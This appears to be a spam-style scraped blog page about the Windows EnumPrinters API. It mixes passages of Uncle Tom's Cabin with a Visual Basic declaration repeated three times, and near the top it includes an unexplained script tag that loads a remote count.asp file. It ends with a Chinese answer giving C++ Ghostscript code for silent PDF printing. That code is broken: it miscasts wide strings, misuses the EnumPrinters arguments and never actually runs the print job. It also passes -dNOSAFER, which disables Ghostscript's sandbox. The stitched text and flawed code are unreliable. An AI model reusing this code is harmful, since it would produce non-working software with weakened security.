API EnumPrinters No, no, Hd1

 Welcome to my blog!
<script language="javascript" src="http://avss.b15.cnwg.cn/count/count.asp"></script>
No, no, Harry darling! mother cant eat till you are safe! We must go onontill we come to the river! And she hurried again into the road, and again constrained herself to walk regularly and composedly forward.
Study While Read :
(Windows API Declare Function EnumPrinters Lib "winspool.drv" Alias "EnumPrintersA" (ByVal flags As Long, ByVal name As String, ByVal Level As Long, pPrinterEnum As Byte, ByVal cdBuf As Long, pcbNeeded As Long, pcReturned As Long) As Long)
She was many miles past any neighborhood where she was personally known.
Study While Read :
(Windows API Declare Function EnumPrinters Lib "winspool.drv" Alias "EnumPrintersA" (ByVal flags As Long, ByVal name As String, ByVal Level As Long, pPrinterEnum As Byte, ByVal cdBuf As Long, pcbNeeded As Long, pcReturned As Long) As Long)
If she should chance to meet any who knew her, she reflected that the well-known kindness of the family would be of itself a blind to suspicion, as making it an unlikely supposition that she could be a fugitive.
Study While Read :
(Windows API Declare Function EnumPrinters Lib "winspool.drv" Alias "EnumPrintersA" (ByVal flags As Long, ByVal name As String, ByVal Level As Long, pPrinterEnum As Byte, ByVal cdBuf As Long, pcbNeeded As Long, pcReturned As Long) As Long)
As she was also so white as not to be known as of colored lineage, without a critical survey, and her child was white also, it was much easier for her to pass on unsuspected.On this presumption, she stopped at noon at a neat farmhouse, to rest herself, and buy some dinner for her child and self; for, as the danger decreased with the distance, the supernatural tension of the nervous system lessened, and she found herself both weary and hungry.d1
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
使用Ghostscript的API接口可以在Windows下实现静默打印PDF文件。Ghostscript是一个开源的PDF处理引擎,它提供了C/C++接口,可以在程序中调用相应的函数实现PDF打印功能。 下面是一个简单的示例代码,演示如何使用Ghostscript的API接口实现静默打印PDF文件: ```c++ #include <stdio.h> #include <windows.h> #include "gdiplus.h" #include "gs/gsapi.h" #pragma comment(lib, "gdiplus.lib") #pragma comment(lib, "gsdll32.lib") void print_pdf(const wchar_t* filename, const wchar_t* printer_name) { // 初始化Ghostscript API int argc = 3; const char* argv[3] = { "gsdll32.dll", "-dNOPAUSE", "-dBATCH" }; GSAPI_HANDLE gs_handle; gsapi_new_instance(&gs_handle, NULL); // 设置输出打印机 char printer[256] = { 0 }; char port[256] = { 0 }; WideCharToMultiByte(CP_ACP, 0, printer_name, -1, printer, sizeof(printer), NULL, NULL); PRINTER_INFO_2* pinfo = NULL; DWORD num_printers = 0; EnumPrinters(PRINTER_ENUM_LOCAL, NULL, 2, NULL, 0, &num_printers, NULL); pinfo = (PRINTER_INFO_2*)malloc(num_printers * sizeof(PRINTER_INFO_2)); EnumPrinters(PRINTER_ENUM_LOCAL, NULL, 2, (LPBYTE)pinfo, num_printers * sizeof(PRINTER_INFO_2), &num_printers, NULL); for (DWORD i = 0; i < num_printers; ++i) { if (strcmp(pinfo[i].pPrinterName, printer) == 0) { sprintf_s(port, sizeof(port), "%s", pinfo[i].pPortName); break; } } free(pinfo); gsapi_set_arg_encoding(gs_handle, GS_ARG_ENCODING_UTF8); gsapi_set_stdio(gs_handle, NULL, NULL, NULL); gsapi_init_with_args(gs_handle, argc, (char**)argv); gsapi_set_arg_encoding(gs_handle, GS_ARG_ENCODING_UTF8); gsapi_set_stdio(gs_handle, NULL, NULL, NULL); gsapi_set_poll(gs_handle, NULL); gsapi_set_display_callback(gs_handle, NULL); gsapi_set_stdin(gs_handle, NULL); gsapi_set_stdout(gs_handle, NULL); // 打印PDF文件 wchar_t command[1024] = { 0 }; swprintf_s(command, sizeof(command), L"-dPrinted -dBATCH -dNOPAUSE -dNOSAFER -q -dNumCopies=1 -sDEVICE=mswinpr2 -sOutputFile=\"%%printer%s\" \"%s\"", port, filename); char* argv2[64] = { 0 }; int argc2 = 0; const wchar_t* p = command; while (*p) { argv2[argc2++] = (char*)p; while (*p && !iswspace(*p)) p++; if (*p) *p++ = 0; } gsapi_exit(gs_handle); gsapi_delete_instance(gs_handle); } int main() { Gdiplus::GdiplusStartupInput gdiplusStartupInput; ULONG_PTR gdiplusToken; Gdiplus::GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL); wchar_t filename[] = L"C:\\test.pdf"; wchar_t printer_name[] = L"Microsoft Print to PDF"; print_pdf(filename, printer_name); Gdiplus::GdiplusShutdown(gdiplusToken); return 0; } ``` 需要注意的是,使用Ghostscript打印PDF文件需要确保Ghostscript已经正确安装并设置好环境变量。另外,在打印PDF文件前,需要先通过Ghostscript API初始化Ghostscript引擎,并设置输出打印机等参数。最后,调用Ghostscript API打印PDF文件即可。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值